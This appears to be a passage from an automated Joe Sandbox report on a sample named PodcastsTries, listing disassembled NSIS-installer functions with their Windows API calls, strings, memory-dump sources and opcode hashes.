Opcode Fuzzy Hash: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction Fuzzy Hash: 4E11A332504115EBDB01BFE1DE49AAE3A62EF04324B24807FF502B51D2C7BD4D51DA9D

Function 0040487A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404895
GetMessagePos.USER32 ref: 0040489D
ScreenToClient.USER32(?,?), ref: 004048B5
SendMessageW.USER32(?,00001111,00000000,?), ref: 004048C7
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048ED

Strings

f, xrefs: 004048C9

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction ID: ebefa7930bdcd0e41c689069c6d494cf412fee4c497549fa98469d3d4217857c
Opcode Fuzzy Hash: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction Fuzzy Hash: 7A019E72A00219BAEB00DB94CC85BEEBBB8AF44710F10412ABB10B61D0C3B45A058BA4

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(0006EA00,00000064,00133664), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction ID: b5f4dff99bd495ec87a9693a0662ffae913500554fa258d9a040327637eece45
Opcode Fuzzy Hash: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction Fuzzy Hash: F8014470640109BBEF109F60DC4AFEE3B68AB00309F008439FA05E51E1DB789A55CF58

Function 00406064 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
CharNextW.USER32(?,?,?,00000000), ref: 004060D6
CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Strings

*?|<>/":, xrefs: 004060B6

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction ID: be175804d259169a812840791ea7ca7df426672d81dd27f3292f2fdf866f60ab
Opcode Fuzzy Hash: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction Fuzzy Hash: E311C81188022159DB30FB698C4497776F8AE55750716843FE9CAF32C1E7BCDC9182BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction ID: c67b0bc93acae55c3864b02ebd95f02f7c15995ce12be8144693d1f813214158
Opcode Fuzzy Hash: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction Fuzzy Hash: EB117976500008FFDF119F90ED859AA3B7AFB84348F004476FA0AB5070D3358E509A29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction ID: 8f71947f799b2f64a69df86d2a8dcb393400c967cd863db52f2ee5b4f8782dab
Opcode Fuzzy Hash: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction Fuzzy Hash: 9DF012B2A00104BFE700EBA4EE89DEFBBBCEB04305B104575F502F6162C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction ID: 6a5c1514d43e21eed083d94b15ba6593763dc9af2b3e6337d8774d5f4809249f
Opcode Fuzzy Hash: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction Fuzzy Hash: 56217171900209BADF15AFB4D886ABE7BB9EF04349F10413EF602F60E2D6794A40D758

Function 004043D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00451D98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00451D98,?), ref: 00404476
wsprintfW.USER32 ref: 00404483
SetDlgItemTextW.USER32(?,00451D98,000000DF), ref: 00404496

Strings

%u.%u%s%s, xrefs: 00404470

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction ID: 019992b557dc20c415266b5889428492ee6a52d86c3b4952972254649920ef77
Opcode Fuzzy Hash: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction Fuzzy Hash: DC11527270021477CF10AA699D45F9E765EEBC5334F10423BF519F31E1D6388A158259

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction ID: 70287f52249eeba914cab3bee2f8f529b2cd5257afac1a85b0186071c419a2a5
Opcode Fuzzy Hash: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction Fuzzy Hash: 2511E732E00200ABDB10FFA5DD4AABE3A64EF40354F10403FF50AB61D2D6798E50C6AD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406301: FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
Part of subcall function 00406301: FindClose.KERNEL32(00000000), ref: 00406318

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction ID: 7c1d43f40acf3f33c375e3424532232737b5c7d4dc38a4161669d523a66d0fcf
Opcode Fuzzy Hash: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction Fuzzy Hash: 8A114F71D00214AADB10FFF6984699FBBBCAF44354B10843BA502F72D2E67989418759

Function 00406250 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004062A4
lstrcatW.KERNEL32(00000000,...), ref: 004062C7

Strings

..., xrefs: 004062BF
%02x%c, xrefs: 0040629C

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction ID: 9bf571533c0fd83e5fe1ff618cfd19ea7d9613251e6e948213dceada22d50e27
Opcode Fuzzy Hash: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction Fuzzy Hash: E201D272510219BFCB01DF98CC44A9EBBB9EF84714F20817AF806F3280D2799EA48794

Function 00405073 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405083

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

OleUninitialize.OLE32(00000404,00000000), ref: 004050D1

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

Section: "%s", xrefs: 004050A5
Skipping section: "%s", xrefs: 004050E1

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction ID: 3a4ae3dd184d198318ece42e1af7a5bc75ccdc2bd7a030bb5b2a43e0dda7b67b
Opcode Fuzzy Hash: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction Fuzzy Hash: 0EF0F433504300ABE7106766AC02B1A7BA0EF84724F25017FFA09721E2DB7928418EAD

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426176,762323A0,00000000), ref: 00406902

CreateFontIndirectW.GDI32(00420110), ref: 0040216A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction ID: 0ba792ce9c48b24537a9dfec97a4105c0a721b5be590283e64661935fd66df2d
Opcode Fuzzy Hash: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction Fuzzy Hash: B6018872B042509FF7119BB4BC4ABAA7BE4A715315F504436F141F61E3CA7D4411C72D

Function 00407224 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406EFE: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407265
lstrcmpW.KERNEL32(?,Version ), ref: 00407276
lstrcpynW.KERNEL32(?,?,?), ref: 0040728D

Strings

Version , xrefs: 0040726D

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction ID: f6016284c167eb8c93e4c4d2cd91337f160ffdcdaea293fd9af5b6974d265005
Opcode Fuzzy Hash: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction Fuzzy Hash: 74F08172A0021CBBDF109BA5DD45EEA777CAB44700F000076F600F6191E2B5AE148BA1

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040372F,00000001,?,?,?,00000000,00403A73,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A73,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
